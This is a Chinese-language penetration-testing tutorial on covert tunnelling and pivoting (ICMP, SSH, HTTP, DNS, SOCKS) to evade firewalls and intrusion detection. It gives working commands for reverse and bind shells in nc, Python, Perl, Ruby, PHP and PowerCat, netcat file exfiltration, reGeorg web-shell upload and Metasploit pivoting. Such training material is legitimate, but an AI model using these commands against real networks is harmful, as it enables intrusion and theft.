什么是隧道?
這里的隧道,就是一種繞過端口屏蔽的通信方式。舉個例子,比如在一個防火墻兩端進行數據通信,防火墻兩端的數據包通過防火墻所允許的數據包類型或者端口進行封裝,進而通過防火墻,在防火墻兩端進行通信,防火墻兩端開辟的路徑就相當于是一個隧道。
隱藏通信隧道用來干什么?
隱藏通信隧道技術常用于在訪問受限的網絡環境中或不受信任的網絡中實現安全的數據傳輸。用通俗的話來講就是在大多數情況下,內網的環境存在多種邊界設備以及入侵檢測裝置的限制,它們會對主機間或者內網與外網之間通信的流量進行檢測,如果存在異常就會進行攔截,這無疑給內網滲透增加了難度,而隱藏通信隧道技術就是為了繞過各種邊界設備的封鎖,從而完成主機間或內網與外網之間的通信。
各層網絡常用隧道技術都有哪些?
- 網絡層:IPV6隧道、ICMP隧道、GRE隧道
- 傳輸層:TCP隧道、UDP隧道、常規端口轉發
- 應用層:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道
常規判斷內網連通性的方法都有哪些?
1. TCP 協議
用netcat
執行 nc 命令:nc <端口>
例如:nc -zv 192.168.26.20 80
2. HTTP 協議
用“curl”工具,執行curl 命令。如果遠程主機開啟了相應的端口,且內網可連接外網的話,就會輸出相應的端口信息
例如:curl www.baidu.com:80
3. ICMP 協議
用“ping”命令,執行ping
例如: ping www.baidu.com
4. DNS 協議
檢測DNS連通性常用的命令是“nslookup”和“dig”
nslookup 是windows自帶的DNS探測命令
dig是linux系統自帶的DNS探測命令
例如:nslookup www.baidu.com 服務器-ip
dig 服務器-ip www.baidu.com
網絡層隧道技術
**IPV6隧道簡介:**IPV6隧道是指通過IPV4隧道傳送IPV6數據報文的技術,隧道的本質就是數據包的封裝。我們把ipv6的數據包封裝到ipv4中,以便在ipv4網絡中傳輸,數據包到達目的地后,再把ipv6數據包從ipv4中拆出來,從而達到ipv6內容在ipv4的網絡中傳播。
支持IPV6隧道的工具:socat、6tunnel、nt6tunnel等
優點:現在的防火墻等安全設備并沒有對ipv6流量進行檢測的相關規則,我們可以把ipv6內容封裝到ipv4中傳播,來繞過安全設備的檢測。
6tunnel建立IPV6隧道:
地址:https://github.com/wojtekka/6tunnel,6tunnel是一個隧道工具,可以從ipv6到ipv4,也能從ipv4到ipv6。相關參數可參考官方說明。
搭建隧道
kali中自帶,直接使用kali測試,連接的目標是centos,centos需要開啟ipv6,示例圖如下(以80web服務為例)。

6tunnel不支持多個端口轉發,如果有其他服務的端口需要轉發,需要再次運行6tunnel,運行后會自動在后臺運行。

此時我們在kali中訪問本地的80端口,6tunnel會轉到centos的80上,從而訪問到centos的web服務(以ipv6數據包的形式)。
想要斷開該隧道的時候kill掉對應進程即可。
**注意:**6tunnel指定目標ipv6地址時需要指定網卡。
**ICMP隧道簡介:**講TCP/UDP數據封裝到ICMP的ping數據包中,從而穿過防火墻,實現不受限制的網絡訪問。
支持ICMP隧道的工具:icmpsh、PingTunnel
優點:通常防火墻不會屏蔽ping數據包
icmpsh建立ICMP隧道:
因為icmpsh會替代系統本身ping命令的應答程序,所以需要輸入以下命令來關閉本地的ICMP應答
sysctl -w net.ipv4.icmp_echo_ignore_all=1 ./run.sh 192.168.1.9 #根據提示輸入目標機器IP 并按回車
然后在目標機器上執行以下命令即可
icmpsh.exe -t 192.168.1.7 -d 500 -b 30 -s 128 #這里的ip為攻擊機的ip
優點:使用簡單,運行時不需要管理員權限。
PingTunnel建立ICMP隧道:
應用場景:數據庫服務器策略限制web服務器無法直接訪問數據庫服務器,但是可以通過ping命令訪問數據庫服務器

github:https://github.com/esrrhs/pingtunnel
ptunnel -x shuteer #在web服務器執行 ptunnel -p 192.168.1.4 -lp 1080 -da 1.1.1.10 -dp 3389 -x shuteer #在服務器執行 #對于以上命令的解釋,以web服務器為跳板,監聽本地1080端口,并將對數據庫服務器的3389端口的請求給到本地的1080端口

然后在服務器本地訪問1080端口,就可以發現已經與數據庫服務器的3389端口建立了連接
傳輸層隧道技術
傳輸層隧道技術包括TCP隧道、UDP隧道、端口轉發等
lcx端口轉發


netcat的常用命令
nc -nv 192.168.26.137 #抓取192.168.26.137 22端口的banner nc -v 192.168.26.137 80 #掃描指定主機的80端口 nc -v -z 192.168.26.137 20-1024 #掃描指定主機的20-1024端口段 nc -nvv 192.168.26.137 80 #與遠程主機建立連接 nc -lp 4444 #監聽本地4444端口 #文件傳輸 nc -lvp 4444 >1.txt #在服務器執行 nc -vn 192.168.26.20 4444 < info.txt -q 3 #在目標機器輸入服務器的IP、端口,將本地info.txt傳輸給服務器,傳輸完成后三秒斷開
正向shell目標機器開啟監聽 服務器主動連接目標機器
nc -lvp 4444 -e /bin/bash #目標機器為linux nc -lvp 4444 -e c:\windows\system32\cmd.exe #目標機器為windows nc 192.168.26.137 4444 #在服務器輸入目標機器的IP、端口
反向shell目標機器主動連接服務器 服務器開啟監聽
nc -lvp 4444 #在服務器開啟監聽4444 nc 192.168.26.20 4444 -e /bin/bash #服務器為linux 此處IP為服務器-IP nc 192.168.26.20 4444 -e c:\windows\system32\cmd.exe #服務器為windows 此處IP為服務器-IP
當目標機器沒有nc時:
nc -lvp 5555 #監聽5555端口
#python反向shell 注意將x.x.x.x改成服務器的IP
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("x.x.x.x",5555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
#perl反向shell方法一 注意將x.x.x.x改成服務器的IP
perl -e 'use Socket;$i="x.x.x.x";$p=5555;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
#perl反向shell方法二 注意將x.x.x.x改成服務器的IP
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"x.x.x.x:5555");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
#ruby反向shell 注意將x.x.x.x改成服務器的IP
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("x.x.x.x","5555");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
#php反向shell 注意將x.x.x.x改成服務器的IP
php -r '$sock=fsockopen("x.x.x.x",5555);exec("/bin/bash -i <&3 >&3 2>&3");'
PowerCat
**簡介:**PowerCat可以說是nc的powershell版

nc正向連接PowerCat
powercat -l -p 8080 -e cmd.exe -v #win7 nc 192.168.56.130 8080 -vv #KaLi
nc反向連接PowerCat
nc -lp 8888 -vv #KaLi powercat -c 192.168.56.129 -p 8888 -v -e cmd.exe #win7
powercat傳輸文件
powercat -l -p 9999 -of newtest.txt -v #啟動監聽本地9999端口 并將收到的內容輸出到newtest.txt中 powercat -c 10.10.10.129 -p 9999 -i c:\test.txt #將c盤下的test.txt文件發送到10.10.10.129的9999端口
powercat生成正向shell
powercat -l -p 8000 -e cmd -v -g >> shell.ps1
然后講shell.ps1上傳到目標機器并執行,然后在服務器執行以下命令即可獲得正向shell
powercat -c 10.10.10.129 -p 8000 -v #主動連接目標機器
powercat生成反向shell
powercat -l -p 8000 -ep -v -g >> shell.ps1 powercat -l -p 9999 -v
在win7上的Powercat作為跳板實現KaLi與winserver08的通信
powercat -l -v -p 9999 -e cmd.exe #在winserver08上監聽9999端口,并將得到的命令交給cmd處理 powercat -l -v -p 8000 -r tcp::10.10.10.129:9999 #在win7上監聽8000端口并且將流量轉發給winserver08的9999端口 nc 192.168.56.130 8000 -vv #在KaLi上,主動連接win7的8000端口
應用層隧道技術
SSH實現本地轉發
應用場景:服務器可以訪問web服務器,web服務器也可以訪問服務器
目的:以web服務器為跳板,實現服務器訪問數據庫服務器3389端口

將 Web服務器192.168.1.11作為跳板,將內網數據庫服務器1.1.1.10 的3389端口映射到服務器機器192.168.1.4的1153端口,再訪問服務器的1153端口,就可以訪問1.1.1.10的3389端口了。在服務器上執行如下命令,
ssh -CfNg -L 1153:1.1.1.10:3389 root@192.168.1.11 #解釋 (服務器端口)(目標主機)(目標端口) (跳板機)
在服務器上執行以上命令,會要求輸入Web服務器(跳板機)的密碼,輸入web服務器密碼后,在服務器執行以下命令即可連接數據庫服務器的3389端口
rdesktop 127.0.0.1:1153
SSH實現遠程轉發

應用場景:服務器不可以訪問web服務器,web服務器可以訪問服務器
目的:以web服務器為跳板,實現服務器訪問數據庫服務器3389端口
分析:在web服務器上遠程調用服務器監聽7000端口,所有訪問服務器7000端口的數據都將通過SSH隧道轉發給數據庫服務器的3389端口
在web服務器上執行以下命令
ssh -cfNg -R 3307(服務器端口):1.1.1.10 (目標主機):3389(目標端口) root@192.168.1.4
在服務器執行以下命令即可連接數據庫服務器的3389端口
rdesktop 127.0.0.1:3307
SSH實現動態轉發
應用場景:服務器可以訪問web服務器,web服務器也可以訪問服務器
目的:實現在服務器的瀏覽器中訪問域控

ssh -CfNg -D 7000 root@192.168.1.11
在服務器上執行以上命令,建立一個動態的SOCKS 4/5代理通道,接下來,在本地打開瀏覽器,設置網絡代理

設置好代理后,即可通過瀏覽器訪問域控。
任何支持SOCKS 4/5協議的程序都可以使用這個加密通道進行代理訪問。
HTTP(S)隧道
這里使用reGeorg工具來建立HTTP隧道
先將reGeorg工具帶的馬子上傳到web服務器上,并用瀏覽器訪問,然后在KaLi上執行以下命令
python reGeorgSocksProxy.py -u http://192.168.184.149:8080/tunnel.jsp -p 9999
最后需要將proxychains.conf文件中的設置的端口改為9999,然后就可以掛上proxychains來訪問一些web服務器并不對外開放的端口,或者進一步的操作。
優點: 大多數防火墻和入侵檢測設備都不會過濾DNS流量,很多研究表明DNS隧道在僵尸網絡和APT攻擊中扮演著重要的角色。
首先檢查DNS連通性,看該主機成功解析外網域名
nslookup www.baidu.com
這里用iodine這款工具來搭建DNS隧道,準備一臺服務器,然后設置一條DNS的A記錄,指向自己的域名,接著設置一條DNS的NS記錄指向自己的子域名。設置好DNS解析后就可以開始在服務器上安裝該工具的服務端了,使用下面這條命令即可安裝。
apt install iodine
安裝好后使用以下命令運行iodine
iodined -f -c -P 123456 192.168.0.1 test.com -DD
其中:
- test.com 是自定義DNS傳輸的主域名
- 192.168.0.1 自定義的局域網虛擬IP
- 123456 自定義密碼,客戶端需要同樣密碼才能連接
對于linux客戶端機器只需安裝iodine客戶端即可 命令如下:
iodined -f -P 123456 test.com -M 200
Socks代理
SOCKS有兩種類型
SOCKS4:只支持TCP類型
SOCKS5:不僅支持TCP/UDP協議,還支持各種身份驗證等
這里介紹兩個用的比較多的Socks代理工具,一個是應用于linux的SOCKS代理工具Proxychains,另一個是應用于windows的下SOCKS代理工具SocksCap64。
在linux下使用Proxychains實現內網漫游
Proxychains是一款可以在linux下實現全局代理的軟件,性能穩定、可靠,該工具在Kali中有集成,使用十分便捷。
**應用場景:**如下圖所示我們在kali上已經獲得了一個msf會話,然后使用下面這條命令發現內網的其他網段
run get_local_subnets

接著使用下面這條命令添加一條路由
run autoroute -s 192.168.22.0/24
為了接下來可以直接使用kali上的工具對內網中22網段的主機進行滲透,我們就需要建立一個socks隧道
background #先把當前會話掛起來 use auxiliary/server/socks4a show options set srvhost 192.168.26.20 #kali的ip exploit
接下來還需要改一下配置文件,改成kali的ip就行了
vim /etc/proxychains.conf

接下來就在各類工具前面加上proxychains即可直接對目標內網進行掃描和滲透。
在windows下使用SocksCap64實現內網漫游
Sockscap64是一款代理客戶端軟件,可以使Windows網絡應用程序來訪問網絡而不需要對這些應用程序做任何修改。
接著上面的場景繼續說,通過proxychains我們可以使用kali上的工具對目標內網進行操作,但是如果此時我們想使用一些windows上的工具對內網進行操作該怎么辦呢,這個時候就需要用到SocksCap64這款工具了。假設我們想要使用蟻劍這款工具,我們可以點擊代理,然后把kali上的ip和相應的端口添加上去即可。設置完代理后,點擊程序把蟻劍添加到這個工具里面,然后如下圖所示,右鍵單擊蟻劍圖標,然后點擊在代理隧道中運行選中程序即可。

參考資料:《內網安全攻防滲透測試實戰指南》
RacentYY
系統安全運維
LemonSec
安全內參
betasec
黑客技術和網絡安全
系統安全運維
一顆小胡椒
中國信息安全
FreeBuf
LemonSec
一顆小胡椒